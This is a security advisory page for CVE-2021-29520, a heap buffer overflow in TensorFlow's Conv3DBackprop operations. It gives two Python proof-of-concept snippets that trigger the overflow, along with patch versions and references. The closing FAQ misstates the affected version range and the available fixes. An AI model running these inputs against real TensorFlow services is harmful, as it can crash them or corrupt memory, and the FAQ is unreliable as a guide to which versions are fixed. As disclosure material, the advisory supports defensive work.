CVE-2021-29520: Heap buffer overflow in `Conv3DBackprop*`
First published: Fri May 14 2021(Updated: )
### Impact Missing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows: ```python import tensorflow as tf input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32) filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32) out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ``` ```python import tensorflow as tf input_values = [-10.0] * (7 * 7 * 7 * 7 * 7) input_values[0] = 429.6491056791816 input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32) filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32) out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32) tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dilations=[1, 1, 1, 1, 1]) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/4814fafb0ca6b5ab58a09411523b2193fed23fed/tensorflow/core/kernels/conv_grad_shape_utils.cc#L94-L153) assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel. ### Patches We have patched the issue in GitHub commit [8f37b52e1320d8d72a9529b2468277791a261197](https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our securityguide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Credit: security-advisories@github.com security-advisories@github.com
| Affected Software | Affected Version | How to fix |
|---|---|---|
| pip/tensorflow-gpu | >=2.4.0<2.4.2 | 2.4.2 |
| pip/tensorflow-gpu | >=2.3.0<2.3.3 | 2.3.3 |
| pip/tensorflow-gpu | >=2.2.0<2.2.3 | 2.2.3 |
| pip/tensorflow-gpu | <2.1.4 | 2.1.4 |
| pip/tensorflow-cpu | >=2.4.0<2.4.2 | 2.4.2 |
| pip/tensorflow-cpu | >=2.3.0<2.3.3 | 2.3.3 |
| pip/tensorflow-cpu | >=2.2.0<2.2.3 | 2.2.3 |
| pip/tensorflow-cpu | <2.1.4 | 2.1.4 |
| pip/tensorflow | >=2.4.0<2.4.2 | 2.4.2 |
| pip/tensorflow | >=2.3.0<2.3.3 | 2.3.3 |
| pip/tensorflow | >=2.2.0<2.2.3 | 2.2.3 |
| pip/tensorflow | <2.1.4 | 2.1.4 |
| TensorFlow Keras | <2.1.4 | |
| TensorFlow Keras | >=2.2.0<2.2.3 | |
| TensorFlow Keras | >=2.3.0<2.3.3 | |
| TensorFlow Keras | >=2.4.0<2.4.2 |
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Reference Links
- https://github.com/tensorflow/tensorflow/commit/8f37b52e1320d8d72a9529b2468277791a261197
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-wcv5-qrj6-9pfm
- https://nvd.nist.gov/vuln/detail/CVE-2021-29520
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-448.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-646.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-157.yaml
- https://github.com/advisories/GHSA-wcv5-qrj6-9pfm (Advisory)
Frequently Asked Questions
What is the severity of CVE-2021-29520?
CVE-2021-29520 has a high severity due to the potential for heap buffer overflows affecting application stability and security.
How do I fix CVE-2021-29520?
To resolve CVE-2021-29520, update TensorFlow to version 2.4.2 or later.
Which versions of TensorFlow are vulnerable to CVE-2021-29520?
The vulnerable versions of TensorFlow are below 2.4.2, specifically versions 2.4.0 to 2.1.4.
What components are affected by CVE-2021-29520?
CVE-2021-29520 affects TensorFlow and its GPU and CPU variants.
What impact does CVE-2021-29520 have on applications?
CVE-2021-29520 can lead to application crashes or unexpected behavior due to memory corruption.
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